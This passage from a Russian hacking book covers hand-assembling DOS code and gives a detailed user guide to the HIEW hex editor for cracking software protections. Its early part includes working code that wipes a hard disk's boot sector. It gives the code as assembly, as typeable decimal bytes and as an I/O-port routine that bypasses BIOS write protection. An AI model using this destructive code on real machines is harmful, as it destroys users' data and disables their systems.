Техника и философия хакерских атак
Продолжение...
Дело в том, что указанным способом невозможно ввести с клавиатуры символ #8. А смещение строки как раз и есть 0x108. Что бы избавиться от восьмерки, можно было бы, конечно, исполнить следующую последовательность команд:
MOV DX,0x109 DEC DX
Кстати, 'DEC DX' это однобайтовая команда, и оба варианта эквивалентны по длине и выбор того или иного полностью зависит от вашего вкуса.
Конечно, невозможность ввода некоторых символов через Alt-цифра очень удручающее обстоятельство. Тем более что таких цифр довольно много. Ниже дан их спиок, который желательно запомнить, чтобы избежать ошибок при вводе:
COLUMNS(4), DIMENSION(IN), COLWIDTHS(1.4200,.9608,1.0208,1.8825), WIDTH(7.5300), ABOVE(.0984), BELOW(.0984), HGUTTER(.0555), VGUTTER(.0433), BOX(Z_DOUBLE), HGRID(Z_SINGLE), VGRID(Z_SINGLE), KEEP(OFF), ALIGN(CT)
TTL9, TTL9, TTL9, TTL9
0, 3, 6, 8,
16 (0x10), 19 (0x13), 27 (0x1B) 255 (0xFF)
Приходится так изощряться при программировании, чтобы ни один из этих символов не потребовался. Конкретная реализация, как было показано выше, зависит от вашей фантазии и существует множество решений той или другой проблемы.
Теперь перейдем собственно к теме главы - как ассемблировать "на лету" программы в таких "спартанских" условиях. Самый банальный ответ - предварительно составить программу на машине, где выбор инструментария побогаче, а потом распечатать на бумаге полученный листинг, который запомнить или вводить в компьютер прямо с распечатки. Несмотря на все недостатки этого способа, он требует лишь минимального умственного напряжения и часто оказывается полезным во многих ситуациях. Однако он не имеет никакого отношения к теме главы. Поэтому вернемся к ситуации, когда мы сидим перед "голой" машиной и у нас под рукой только блокнот и остро заточенный карандаш. Нет даже такой необходимой вещи, как калькулятора. Впрочем, учитывая, что в Windows 95 принудительно входит Браузер, поддерживающий VBasic Script, то можно сказать, что довольно мощный "вычислитель" у нас всегда под рукой. Можно даже написать простейший шестнадцатиричный редактор, но это уже другой разговор. ~~12
Одна из главных сложностей ассемблирования в уме заключается в том, что на момент обращения к переменным (меткам) мы не знаем их смещений. Так было, скажем, в приведенном выше примере. На момент загрузки смещения строки в регистр DX о нем можно было только гадать. Поэтому первый "проход" необходимо выполнить на бумаге, дав всем переменным и меткам символьные имена. Когда программа будет готова и появится возможность опредеделить реальные смещения в памяти, мы это и сделаем. Теперь полученный листинг можно вводить в машину.
Другим решением может быть объявление всех переменных до их использования. Например:
MOV AH,9 JMP SHORT $+20 DB 'Hello,Sailor!'$xxxxx 1234567890123 456789 1111 111111 MOV DX,0x100+2+2 ; 0x100-адрес загрузки, 2 длина MOV AH,9, 2 длина jmp
JMP SHORT $+20 - резервирует 20 символов для строки. Предполагается, что этого окажется достаточно (даже не уточняя, сколько символов в строке). Тот же прием может быть применен и по отношению к меткам, направленным вперед. Иными словами, опытный специалист может написать довольно сложную программу даже без карандаша и блокнота. Это действительно "высший пилотаж", требующий изрядного таланта и опыта, но, с другой стороны, он многократно повышает вашу власть над машиной. Насколько это нужно - решать вам. Сегодня, когда уже и структурные языки выходят из моды, такие трудоемкие "ручные" способы программирования вряд ли найдут много приверженцев.
В качестве иллюстации попробуем создать маленькую программу, которая стирает загрузочный сектор. Заметим, что ее использование для умышленного уничтожения информации, равно как и для нарушения работы вычислительной системы, попадает под статью УК. Поэтому использовать ее можно только на собственной машине (или с явного согласия владельца) только в экспериментальных целях для проверки системы безопасности. Действительно, многие администраторы, удалившие ряд сервисных файлов и дисковод для гибких дисков, считают рабочую станцию на 100% защищенной от вредителей. Эта программа показывает, что последнее утверждение глубоко неверно.
Но перейдем к делу. Для начала освоим самый простой метод: компиляцию и перенос программы на бумагу, откуда не составит труда ввести ее на любой машине.
00000000: B80103 mov ax,00301 ; Чтение одного секктора 00000003: B90100 mov cx,00001 ; сектор - 1, цилиндр - 0 00000006: BA8000 mov dx,00080 ; Головка - 0, 1-й HDD 00000009: CD13 int 013 ; Вызов дискового сервиса 0000000B: C3 retn ; Выход
Отметим, что в полученном дампе два раза встретился "запрещенный" символ #0, один раз #3 и один раз #19. Изменим программу так, чтобы избежать этого:
00000000: B80102 mov ax,00201 ; 00000003: FEC4 inc ah 00000005: B90101 mov cx,00101 ; 00000008: FECD dec ch 0000000A: 8AFE mov bh,dh 0000000C: B280 mov dl,080 ; 0000000E: BB0401 mov bx,00104 ; 00000011: FE4711 inc b,[bx][00011] 00000014: CD12 int 012 00000016: C3 retn
Теперь полученный дамп нужно перевести в десятиричное исчисление. Для этого лучше всего воспользоваться специально написанной программой, которую нетрудно будет написать за несколько минут на любом подходящем языке.
#184 #001 #002 #254 #196 #185 #001 #001 #254 #205 #138 #254 #178 #128 #187 #004 #001 #254 'G' #017 #205 #018 #195
Достаточно ввести эту последовательность в атакуемый компьютер, и у нас в руках будет мощное разрушительное оружие. Советую пользоваться им с крайней осторожностью.
К счастью, в BIOS-ах предусмотрен специальный сторож, который сигнализирует о попытке модификации главного загрузочного сектора. Точно так же может стоять специальное ПО, перехватывающее и блокирующее запись. Например, Win98 поступает именно так, и запуск данной программы под ее управлением не возымеет ожидаемого эффекта. Однако ничто не помешает нам в DOS-окне обратиться непосредственно к портам ввода-вывода и на низком уровне управлять контроллером винчестера. Вообще-то программирование контроллеров к теме этой книги не относится (ему посвящены специальные руководства), но все же я привожу ниже пример процедуры, записывающей главный загрузочный сектор через порты ввода-вывода:
MOV DX, 1F2h MOV AL, 1 OUT DX, AL INC DX OUT DX, AL INC DX XOR AX, AX OUT DX, AL INC DX OUT DX, AL MOV AL, 10100000B INC DX OUT DX, AL INC DX MOV AL, 30h OUT DX, AL LEA SI, Buffer MOV DX, 1F0h MOV CX, 513 REP OUTSW
Мне не известна ни одна широко распространенная защита, которая могла бы отслеживать и блокировать такую запись. Впрочем, к Windows NT это не относится, и она не только не допустит прикладную программу к портам, но еще и закроет ее окно.
Подготовку этого приложения к вводу в компьютер с помощью ALT я перекладываю на плечи любознательных читателей, равно как и определенную оптимизацию по размеру. Не думаю, что это вызовет какие-то трудности.
HIEW
"Ничто не может возникнуть из ничего".
Ф. Херберт. "Дюна".
Сказанное ниже является моим личным мнением о hiew 6.03. Оно не во всем совпадает с мнением автора hiew. После попытки настоять на исправлении ряда моментов я пришел к выводу, что легче написать собственный *view с нуля, чем вступать в перепалку с автором.
Говоря конкретно, он наотрез отказался поддержать хотя бы интерпретируемый язык скриптов или предоставить мне API (компилятор я и сам мог бы написать), добавить поддержку двоичного ввода в калькулятор, поддержать редактирование заголовков PE\LE\LX файлов.
HIEW - это замечательный и необыкновенно мощный инструмент, предназначенный для анализа и редактирования программ непосредственно в исполняемом коде.
Десятилетиями в этих целях традиционно использовались hex-редакторы, которые концептуально мало отличались друг от друга. Менялся интерфейс и предоставляемый сервис - только и всего. HexWorkShop под Windows 95 и hexed под Агат-9 (может быть, кто-нибудь помнит такую машину) имеют больше ходств, чем различий. Евгений Сусликов был первым, кто догадался прикрутить в шестнадцатиричный редактор дизассемблер. Это породило продукт с совершенно новыми качествами. Вы пробовали когда-нибудь загружать в IDA или SOURCER исполняемый файл мегабайт эдак под двадцать? Десятки часов жужжания винта и сотни метров свопа - явление, хорошо знакомое каждому хакеру. А сам дизассемблер? Сколько дискет потребуется, чтобы его разместить, если предстоит работа "на выезде"?
Всех этих недостатков лишен hiew. Шустрый, компактный, проворный, в умелых руках он способен творить чудеса, при этом ограничиваясь чисто "формальными" требованиями к аппаратуре.
По прошествии нескольких лет возможности этой утилиты заметно возросли. Конкретно: скачивая версию 6.03 (последнюю на момент написания данного руководства), вы приобретаете в одном флаконе:
- шестнадцатиричный редактор файлов неограниченной длины
- уникальное средство поиска ассемблерских команд по маске;
- встроенный ассемблер (Pentiun Pro);
- встроенный дизассемблер (Pentiun Pro);
- интерпретируемая крип-система (Virtual CPU).
Иными словами, это готовый инструментарий на все случаи жизни. Не хватает только интерпретируемого языка и интеграции с отладчиками. Впрочем, два последних пункта сейчас обсуждаются с автором, и вполне возможно, что следующая версия будет поддерживать встроенный язык.
Перечисленные возможности позволяют полностью отказаться от остальных инструментов и проводить анализ программ не используя ничего кроме hiew. При этом задача взломщика ненамного усложнится, а то и наоборот. HIEW относится к ИНТЕРАКТИВНЫМ дизассемблерам, и его мощь в некотором отношении сравнима лишь с мощью IDA.
Т.е. процесс дизассемблирования тесно связан с пользователем, который должен сам определить, где код, а где данные, как интерпретируется та или иная инструкция. Последнее особенно актуально с самомодифицирующимся и шифрованным кодом. В книге "Образ мышления - HIEW" это будет показано на конкретных примерах, а пока вам остается лишь поверить мне на слово.
Заметим, что IDA или Sourcer дизассемблируют весь файл целиком, что требует длительного времени, hiew же показывает единовременно только небольшой фрагмент размером с экран. Конечно, если требуется получить хорошо документированный листинг программы, то это покажется крайне неудачным вариантом: однако в работе хакера последнего обычно не требуется. Любопытно, что hiew незаменим при анализе программ как в пару килобайт (когда расточительно запускать ради них IDA), так и в пару мегабайт (когда IDA дольше будет дизассемблировать, чем хакер сносить защиту с помощью hiew).
Кроме того, HIEW позволяет с легкостью и комфортом прогуляться по LE/PE/NE/LX/NLM файлам, исследовать формат и перекроить, к примеру, таблицы импорта на свой вкус. При этом hiew вообще является единственным шестнадцатиричным редактором, поддерживающим таблицы импорта вышеуказанных файлов:
Взгляните на следующий фрагмент:
.00401145: 83EC18 sub esp,018 ;"" .00401148: 57 push edi .00401149: 33FF xor edi,edi .0040114B: 57 push edi .0040114C: FF1500204000 call GetCommandLineA ;KERNEL32.dll ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .00401152: 50 push eax .00401153: 57 push edi .00401154: 57 push edi .00401155: FF1504204000 call GetModuleHandleA;KERNEL32.dll ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .0040115B: 50 push eax
И сравните его, например с qview:
00001145: 83EC18 sub esp,00000018 00001148: 57 push edi 00001149: 33FF xor edi,edi 0000114B: 57 push edi 0000114C: FF1500204000 call dword ptr [00402000] ^^^^^^^^^^^^^^^^^^^^^^^^^^ 00001152: 50 push eax 00001153: 57 push edi 00001154: 57 push edi 00001155: FF1504204000 call dword ptr [00402004] ^^^^^^^^^^^^^^^^^^^^^^^^^^^ Не правда ли, потрясающие возможности для шестнадцатиричного редактора? HIEW можно считать полноценным Win32\Dos\Os/2 дизассемблером, поддерживающим не только 32-битные инструкции, но и форматы исполняемых файлов популярных операционных систем.
Заметим, что не так уж много популярных дизассемблеров поддерживают LE-формат. Но hiew - поддерживает, оставаясь незаменимым помощником при путешествиях в дебрях VxD. Использовать для этой цели IDA не всегда удобно - часто заранее неизвестно, в какой именно файл разработчик поместил защитный механизм и требуется окинуть беглым взглядом далеко не один драйвер виртуального устройства. IDA тратит больше времени на загрузку, чем я на анализ. Самое обидное, что анализ-то в большинстве случаев и не требуется: например, в этом случае сразу видно, что защита тут и не ночевала:
.00000007: B800000000 mov eax,000000000 ; .0000000C: B94A000000 mov ecx,00000004A ; .00000011: C7400400000000 mov d,[eax][00004],000000000 .00000018: CD2014000A00 VxDcall VDD.Get_DISPLAYINFO ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .0000001E: 66F705020000000008 test w,[000000002],00800 ; .00000027: 0F85790D0000 jne .000000DA6 -------- (1)
HIEW позволит сэкономить немало драгоценного времени хакера, которое можно потратить на нечто более полезное, чем утомительное ожидание окончания загрузки файла.
Сказанное не должно восприниматься как наезд или повод для отказа от IDA. Это уникальный в своей категории инструмент, аналогов которому не существует и в обозримом будущем не предвидится. Но IDA - это все же тяжелое стратегическое оружие, а общение c hiew-ом больше напоминает работу разведчика.
Бытует мнение, что анализ программ непосредственно в hiew-е более сложен, чем в отладчике или полноценном дизассемблере. Некоторые это считают "высшим пилотажем". На мой взгляд, это лишь распространенное заблуждение. За исключением, может быть IDA, hiew обеспечивает весь сервис, предоставляемый другими "полноценными" дизассемблерами, при этом обладая и присущими IDA возможностями - например интерактивностью. Когда SOURCER может быть легко сбит с толку хитрым приемом разработчика защиты, с hiew-ом такого не произойдет, поскольку он работает в тесной связке с человеком. Нетрудно обмануть машину, но человек человека перехитрить не может (разве что ввести во временное заблуждение).
К сожалению, автор hiew-а не позаботился о некоторых мелочах, которые делают жизнь хакера более приятной и экономят его время. Например, ближайший конкурент qview позволяет создавать в файлах комментарии, а hiew - нет. Впрочем, это не вызывает особых проблем, и, надеюсь, такая возможность будет реализована в последующих версиях.
Не будем больше заниматься бессмысленным сравнением конкурирующих утилит, а перейдем к описанию пакета поставки. В версию 6.03 входят следующие файлы:
FILES.LST - файл описания (увы,плохо совместим с DN и др. оболочками)
HIEW.EXE - собственно сам HIEW (одновременно для DOS и OS\2)
HIEW.INI - конфигурационный файл
HIEW.HLP - файл помощи
HIEW.ORD - символьная информация ординалов распространенных файлов
HIEW.VMM - VMMcall/VxDcall для LE файлов
HIEW.XLT - файл перекодировок (Windows-1251\KOI-8R)
HIEWR.nnn - краткое описание на русском языке
HIEWE.nnn - краткое описание на английском языке
NEDUMP.EXE - утилита для исследования NE-файлов (не актуальна сегодня)
LXDUMP.EXE - утилита для исследования LX\LE-файлов
DEXEM.EXE - утилита для работы с Dual-EXE (NE/LE/LX/PE) файлами
SEN.ASC - публичный PGP ключ автора
HIEW.exe очень тяжел. Целых 284,855 байт, что отнимает много места, например, на спасательной дискете (а он у меня всегда на ней: мало ли с какими вирусами воевать придется). На самом деле это DUAL-exe файл, т.е. два файла для MS-DOS и OS\2 одновременно. Это оригинально, но слишком расточительно (заметим, что такие программы могут существовать и под Windows).
Первое, что необходимо сделать, - "разрезать" файл на две половинки и взять "родной" для вашей операционной системы. Для этого предназначена утилита dexem.exe.
Подробнее она будет рассмотрена ниже, а пока просто запустим ее следующим образом: dexem.exe /S hiew.exe При этом DUAL-exe будет расщеплен на два файла hiew.mz (MS-DOS) и hiew.ne (OS\2) по 102 и 183 килобайта соответственно. Отметим, что 102 много меньше 285, и, учитывая, что OS\2 в жизни многих пользователей, может быть, никогда и не встретится, хорошим решением будет удалить оригинальный hiew.exe и переименовать в последний hiew.mz.
Независимо от того, сделали вы это или нет, попробуем запустить hiew.exe без параметров. Кто знаком с ранними версиями hiew, тот помнит, что при этом программа просто не запускалась, ссылаясь на отсуствие файла в командной строке.
Версия 6.03 поддерживает встроенную систему навигации по файлам и каталогам, которая активируется всякий раз, когда hiew запускается без явного указания файла в командной строке. Логично было бы предположить, что то же произойдет при задании маски (например hiew.exe *.exe). Но автор мыслил иначе. При этом hiew просто найдет первый попавшийся файл, а если таковых не окажется, то с грустью сообщит "File(s) not found" и закончит работу. Печально.
Но вернемся к навигатору.
г==================D:\KPNC\HIEW===================¬ ¦ .. ¦>UP--DIR<¦Attr¦---Date---¦--Time-- ¦ ¦ PROHACK ¦>SUB-DIR<¦....¦15-03-1999¦14:06:06 ¦ ¦ CRACKME.EXE ¦ 182455¦.a..¦15-03-1999¦21:07:18 ¦ ¦ DEXEM.EXE ¦ 11408¦.a..¦22-10-1998¦11:32:26 ¦ ¦ ¦ L========================*========================- ^ маска отображ. файлов ---
1Help 2Hidden 3Name 4Exten 5Time 6Size 7Unsort 8Revers 9FilHis10Filter
Вообще навигатор очень напоминает Norton Commander, и общение с ним проблем вызвать не должно. На всякий случай я все же опишу назначение клавиш управления:
Alt-F1 (Drive): смена текущего дисковода. Замечу, что hiew не совсем корректно обрабатывает список существующих устройств. Так, например, у меня он обраружил 'B', хотя тут 'B' отродясь не было. Попытка чтения с него привела к переадресации на 'A', что прошло не без "возмущений" со стороны Windows.
F2 (Hidden) - отображение скрытых и системных файлов. Кнопка действует как триггер.
F3 (Name) - сортировка по именам файлов.
F4 (Exten) - сортировки по расширениям.
F5 (Time) - сортировка по времени создания.
F6 (Size) - сортировка по размерам.
F7 (Unsort) - располагать файлы в том порядке, в каком их находит FindNextFile.
F8 (Revers) - обратить условные сортировки. Т.е. по умолчанию (за исключением даты) принята сортировка по возрастанию параметра. Реверс приводит к сортировке по убыванию. Действует как триггер.
F10 (Filter) - задать маску отображаемых файлов. К сожалению, не позволяет задавать более одной маски, что может вызвать неудобства. Маленький баг - если удалить маску, то hiew ее не восстановит по умолчанию. Для этого необходимо будет задать явно '*.*', что лично мне, например, просто неудобно.
При этом существует возможность быстрого поиска необходимого файла. HIEW вобрал в себя все лучшие решения от DN и NC и реализовал очень неплохие для простого встроенного менеджера возможности.
Нажатие любой символьной клавиши приводит к появлению консольной строки, в которой можно ввести имя файла (при этом курсор будет перемещаться по списку синхронно с вводом).
Есть и чисто юниксовская возможность дополнения введенного имени до полного, при условии что последнее однозначно определяет файл. Возможно, что это определение покажется витиеватым, поэтому приведу пример. Допустим, нам нужно найти файл crackme.exe. Если в текущей директории на 'c' есть только один файл, то логично, что он может однозначно быть определен заданием всего одной буквы. Вводим 'c' и нажимаем <tab>. Hiew, догадываясь, что мы хотим открыть crackme.exe, выводит его имя (между прочим, без расширения). А что будет, если у нас есть два файла crackme1 и crackme2? Тогда hiew, сердито пискнув, напишет только 'crackme' и остановится, ожидая уточнения - какой именно из двух файлов нам требуется открыть.
Кому-то это может показаться неудобным. В этом случае можно воспользоваться '*' - непосредственным аналогом Ctrl-Enter в DN и NC - последовательному перебору подходящих файлов.
Имеется и очень ценная недокументированная возможность задания списка в квадратных скобках. Например, [cr,h]ack.exe найдет все crack и hack. Если запятую опустить, то hiew будет интерпретировать строку как [c,r,h]. Т.е. *.[ch] он найдет все файлы c,cpp,h и др. Это очень полезная и вообще уникальная для платформы MS-DOS возможность, которая не существует ни в одной другой аналогичной программе.
Жаль, конечно, что эти возможности большей частью остаются невостребованными - hiew все же не файловая оболочка и чаще всего редактируемый файл непосредстенно задается в строке, хотя бы по чистой привычке, оставшейся от старых версий. (Я думаю, что если бы автор предусмотрел еще и запуск из Файлового Навигатора, то многие, и в первую очередь я, использовали бы его как оболочку, которая была бы особенно удобной на "спасательных" дискетах.)
Если hiew запущен с именем несуществующего файла, то он предложит создать его. Альтернативным вариантом является клавиша <Ins> в Навигаторе. Последняя возможность просто незаменима, когда новые файлы приходится создавать и открывать непосредственно во время работы. К примеру, может потребоваться сделать некоторые заметки по ходу работы, скопировать фрагмент в новый файл и при этом тут же открыть его и, скажем, расшифровать (отметим, что навигатор можно вызвать в любой момент работы клавишей F9).
Ctrl - '\' обеспечивает быстрый переход в корневую директорию текущего диска, а F10 - в материнскую директорию (ту, из которой был запущен hiew). При этом существует полезная возможность быстрого переключения между четырьмя произвольно выбранными директориями. Для этого существуют клавищи Ctrl-F1, Ctrl-F3, Ctrl-F5,Ctrl-F7, которые запоминают текущую директорию и Ctrl-F2, Ctrl-F4, Ctrl-F6,Ctrl-F8, которые, соответственно переходят в записанную. При этом есть возможность сохранения текущего состояния в файл и его последующего использования во всех сеансах. Впрочем, эта возможность реализована не самым лучшим образом. Нет никакой возможности сохранить состояние непосредственно из навигатора, поэтому приходится открывать файл только для того, чтобы получить доступ к клавише 'Ctrl-F10' - 'SaveSatus'. К ней мы еще вернемся, а пока отметим такую приятную особенность, как ведение истории просматриваемых файлов (F9).
г=Mode Offset Name===============================================¬ ¦ Hex ¦0000163C¦D:\KPNC\HIEW\HIEWR.602 ¦ ¦ Text¦00000452¦D:\KPNC\HIEW\DEXEM.EXE ¦ L==================================================================-
При этом кроме собственно имен сохранятся текущий режим и позиция курсора (что особенно приятно). Последнее позволяет использовать hiew для чтения больших текстовых файлов (электронных книг, документации): никогда не придется запоминать, на каком месте вы находились перед выходом. (Впрочем, чтобы быть до конца честными, отметим, что эта возможность присуща сегодня практически всем современным вьюверам - qview by AGC, UniversalViewer и MessageViewer by KPNC, да и многим другим.) Позволю себе так же отметить, что в этом UniversalViewer обогнал других. Тогда как hiew и qview привязываются к имени файла, UV - к хеш-сумме заголовка и окрестностей текущей позиции курсора. Имя файла при этом игнорируется. Последнее вызывает меньше конфликтов, хотя работает немного медленнее. Будем надеяться, что SEN в ближайших версиях реализует нечто похожее. ~~13
Перейдем теперь к рассмотрению командной строки. Большинство ею пользуется все же гораздо чаще, чем непривычным навигатором.
В командной строке можно задавать более одного файла, но при этом будет открыт только первый из них, а остальные доступны по Ctrl-F9, что, впрочем, удобно, т.к. уменьшает время загрузки. Если спецификация файла не будет полной, то hiew найдет все подходящие файлы и добавит их имена в список. Это неудобно и нелогично. Неполная спецификация должна приводить к вызову Навигатора (во всяком случае, по моему личному мнению).
Параметр /SAV задает имя SAV-файла, который автоматически будет загружен. По умолчанию принимается hiew.sav, но последнее может быть изменено в hiew.ini:
; StartUp Savefile = "hiew.sav"
sav-файл полностью сохраняет текущее состояние hiew-а, включая текущую позицию, все закладки и т.д. Обычно, чтобы воспользоваться sav-файлом, нужно запустить hiew без параметров. Заметим, что 'hiew.exe MyFile.exe' не приведет к должному результату. Неудобно, конечно, но приходится мириться: хозяин (SEN) - барин.
Интересная особенность: конфигурационный файл можно также указывать в командной строке после ключа /INI. Это особенно удобно для "корпоративного" использования hiew сразу несколькими людьми. Каждому - настройки на свой вкус.
Если же требуется показать содержимое вложенных директорий, то можно использовать ключ /S с указанием пути и маски. При этом hiew /s C:\*.* с большой вероятностью после продолжительного шуршания диском завершит свою работу сообщением:
"No free memory".
Это будет зависеть от количества имеющихся у вас на диске файлов. Если их относительно немного, то есть шанс, что hiew запустится и можно будет выбрать любой понравившийся файл, нажав Ctrl-F9.
После долгих размышлений я так и не придумал ситуацию, в которой данная возможность была бы незаменимой. Ведь всегда есть под рукой встроенный файловый Навигатор!
После выбора файла hiew автоматически показывает его в текстовом режиме. Не слишком удачный выбор для хакеров, поэтому они обычно первым делом редактируют следующую строку hiew.ini
StartMode = Text ; Text | Hex | Code
Впрочем, если hiew планируется использовать и для просмотра текстовых сообщений, то ничего трогать не надо. Жаль, однако, что нет функции "автодетект", тем более что реализовать последнюю совсем не трудно.
ОСНОВНОЙ ЭКРАН:
- TRIAL.COM R NE 0000007B a16 -------- 823 ¦ Hiew 6.03 (c)SEN ^ ^ ^^ ^ ^ ^ ^ ^ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ L-имя файла ¦¦ L тип ¦ ¦ ¦ L--длина файла (dec) ¦ ¦¦ ¦ ¦ ¦ ¦ направление --L- состояние ¦ ¦ L- закладки ¦ ¦ ¦ L-лифт|% текущее смещение (hex) -- L-режим 16/32 разрядный
Вообще же строка статуса может меняться в зависимости от режима, но это не должно вызвать каких-то проблем понимания. Рассмотрим подробнее некоторые элементы.
Левосторонний лифт может показаться непривычным и действительно не очень удобен. Поэтому автор предусмотрел возможность настроить последний по вкусу пользователя, а то и вовсе отключить его. Для этого необходимо отредактировать hiew.ini. Если комментариев в файле окажется недостаточно, то обратитесь к главе "КОНФИГУРИРОВАНИЕ HIEW" настоящего руководства.
Направление поиска (прямое или обратное) задается клавшей Alt-7 в любой момент или непосредственно во время вызова окна поиска клавишей F2. При этом индикатор направления будет обновлен только после завершения поиска. Не нравится мне это. Неплохо бы перенести управление с F2 на ALt-F7 и при этом обновлять индикатор. Но не будем строги к автору - эта возможность появилась только в версии 6.03 и, конечно, до конца еще не отлажена.
Состояние файла может быть следующим:
(R)ead - открыт по чтению.
(W)rite - открыт по записи.
(U)pdate - изменен.
При этом последний режим обрабатывается некорректно. Вне зависимости от того, был ли изменен хотя бы один байт, при каждом сбросе буферов редактора (F9) на диск (включая пустые!) всегда выставляется флаг изменения. Впрочем, это не баг, а фича, и маловероятно, что она будет исправлена в ближайших версиях.
Первый же вызов редактора (F3) приводит к автоматическому переоткрытию файла в режиме полного доступа (чтения и записи). Этот режим сохраняется и после выхода из редактора. Т.е. автоматического переоткрытия "Только на чтение" не происходит. А жаль. Индикация просто теряет смысл.
Hiew автоматически распознает следующие типы файлов DOS EXE, NE, PE, LE,LX,NLM, но при этом отображет в стороке статуса только пять последних из них. DOS-EXE hiew, строго говоря, не поддерживает (за исключением заголовка). Да, собственно, там и поддерживать особо нечего. Можно, конечно, правильно настроить регистр DS, но это было бы слишком для шестнадцатиричного редактора - все же hiew изначально отнюдь не планировался как дизассемблер. Впрочем, если будет встроенный язык (а он все равно будет) - пользователи могут решать эти вопросы на месте, не дожидаясь новой версии. То же относится и к нестандартным бинарным файлам, например, разным BIOS-ам или дампам памяти. Для всего этого SEN написал замечательную утилиту StructLook, версия 4.20 которой выложена на ftp автора (ftp.kemsc.ru/pub/sen). Она содержит интерпретируемый препроцессор и очень удобна при "низкоуровневой" работе с различными форматами файлов. Но это совсем другая история.
Режим 16/32 определяется автоматически для поддерживаемых типов файлов. Это отличает его от qview, где режимы приходится переключать вручную, в противном же случае код дизассемблируется неправильно, что может приводить к печальным результатам. В режиме 'text', где понятие 16\32 разрядного кода как таковое отсутствует, это поле выражает номер самой левой отображаемой колонки, считая от нуля.
Очень неплохо продумана работа с закладками. Впрочем, удобно еще не значит привычно. Фирма Borland установила стандарт де-факто: Ctrk-K-n запомнить состояние, Atl-Q-n восстановить его. Эта точка зрения не была поддержана SEN, и он задействовал совсем другие "горячие" клавиши. Grey-'+' запомнить текущее состояние. Этот факт мгновенно отражается в индикаторе. Изображение '-' изменяется на порядковый номер закладки (считая с единицы?!). При этом hiew может запомнить до восьми закладок. Большего обычно и не требуется.
Восстановить текущую закладку (которую индикатор отмечает '') можно нажатием Gray-'-'. Выбрать любую другую закладку поможет Alt-'1-8'. При этом последняя автоматически помечается как текущая. Если ее потребуется удалить, то можно нажать Alt-'-'. А 'Alt-0' - удаляет сразу все закладки без предупреждения. Так что будьте осторожны с этой комбинацией!
В режиме редактора '<Editor>' закладки, к сожалению, становятся недоступны по причине того, что последний ограничен всего одним окном. Удивительно, но этот недостаток присущ лишь hiew-у, а конкуренты давно реализовали соответствующую возможность достойным образом. Самое интересное: непонятно, какие затруднения может испытывать автор с последним... Тем более что это действительно жесткое ограничение, которое особенно дает о себе знать при расшифровке небольших файлов. Поэтому все больше и больше людей сколоняются к мысли, что эту операцию лучше делать в qview, где нет таких ограничений. Остается только надеяться, что автор под мощным натиском общественного движения (ау! хакеры!) хотя бы через несколько версий реализует то, что конкуренты имели от рождения.
Длина файла отображается исключительно в неродном для хакеров десятичном исчислении. Вкупе с шестнадцатиричным смещением это особенно неприятно. Неплохой идеей, думается мне, был бы переход полностью на шестнадцатиричный режим в decode режиме и соответственно - на десятичный в текстовом. При этом было бы полезно отделять точкой каждые три знака, что улучшает читабельность больших чисел. Так что поле для работы у автора в следующих версиях еще есть, а это значит, что они будут выходить, выходить и еще раз выходить (правда, при том условии, если SEN-у все это не надоест и он не забросит свое творение в самый пыльный угол винчестера, как это произошло с ДеГлюкером, Cup-ом, InSight-ом... перечислять можно долго). Я как-то писал в одной своей утилите, что, пожалев сейчас 1$, через некоторое время можно потерять в сотни раз больше из-за отсутствия утилиты, которая не была написана именно по причине экономии этого самого доллара. Увы, российские пользователи привыкли, что лучшие программисты страны должны работать "просто так" для их собственного удовольствия).
Ассемблер
"Убийство острием лишено артистизма. Но пусть тебя это не останавливает, если плоть, раскрываясь, сама себя предлагает".
Ф.Херберт. "Дюна".
Перейдем к непосредственному описанию возможносей hiew-а. Я долго колебался, что писать: "руководство по ключам" или "описание возможностей". В конце концов мой выбор остановился на последнем. По моему глубокому убеждению, описание на уровне клавиатуры не нужно тем пользователям, которые читают это руководство. HIEW все же хакерский продукт. "А зачем хакеру хелп?" - улыбается Сусликов. Но о возможностях, приемах работы и маленьких секретах читатель узнает с большим удовольствием. И может быть, тогда начинающие прекратят задавать глупые вопросы: "я знаю, какие байтики подправить, а в hiew-е их найти никак не могу",
Встроенный ассемблер может быть полезен для многих вещей. Так, например, небольшие файлы удобно набивать сразу в hiew-е, а не пользоваться MASM\TASM-ом, которые работают на порядок медленнее. И не понимают многих "извратов". Так, например, когда мне потребовалоь для хитрой защиты ассемблировать смесь шестнадцати- и тридцатидвухразрядного кода со множеством команд Pentuim Pro, никто кроме hiew-а и моих собственных ручек не смог этого сделать.
Кроме того, все команды сразу показываются и в hex-кодах, а не после редактирования\ассемблирования\линковки\дизассемблирования (при работе со стандарными средствами), что открывает свободу для экспериментирования и страхует от ошибок. Так, например, тот же TASM частенько даже при задании директивы USE32 почему-то вставляет в ненужных местах ненужные префиксы или (что не лучше) опускает с целью оптимизации расставленные мной. Хотите пример? Попробуйте указать префикс DS для данных. TASM его проигнорирует (разве что пальцем у виска не покрутит). А теперь представим, что в самомодифицирующемся коде я пытаюсь менять префикс, которой был опущен.
Так же незаменим встроенный ассемблер, если в ломаемой программе нужно не просто поменять 7x на EB, а дописать десяток-другой строк кода (а такое случается достаточно часто).
К сожалению, встроенный ассемблер содержит много ограничений, о которых будет рассказано ниже. Самое обидное, что в этом режиме hiew еще не поддерживает локальных смещений и все вычисления адресов приходится проводить вручную. К моему удивлению, не все знают, как это делается. На самом деле все очень просто, достаточно знать формат редактирумого файла. Покажем это на примере самого, по-видимому, распространенного PE-формата файлов, поддерживаемых платформой Win32 (мы пишем все же руководство по hiew, а не по взлому). Сначала рассмотрим, как происходит загрузка PE файлов. MicroSoft неплохо оптимизировала этот процесс, и PE целиком проецируются в память, включая и DOS-секцию. При этом один селектор выделяется для кода и данных. А это означает, что перевод глобальных смещений в локальные осуществляется тривиальным добавлением адреса загрузки, который можно узнать из заголовка PE файла. Поскольку hiew отображает последний в удобочитаемом виде, то наша задача упрощается еще больше, - достаточно заглянуть в поле Image base. В большинстве случаев там содержатся круглые значения, например 0x400000,0x010000. Не сложно выполнить все вычисления и в уме, однако к чему напрягаться? Я так и не смог выяснить с какой версии hiew поддерживает базирование, но это нам не помешает им с успехом воспользоваться. Перейдем в начало файла и нажмем Ctrl-F5, после чего введем значение Image base (в моем случае 400000). Посмотрим, что получилось:
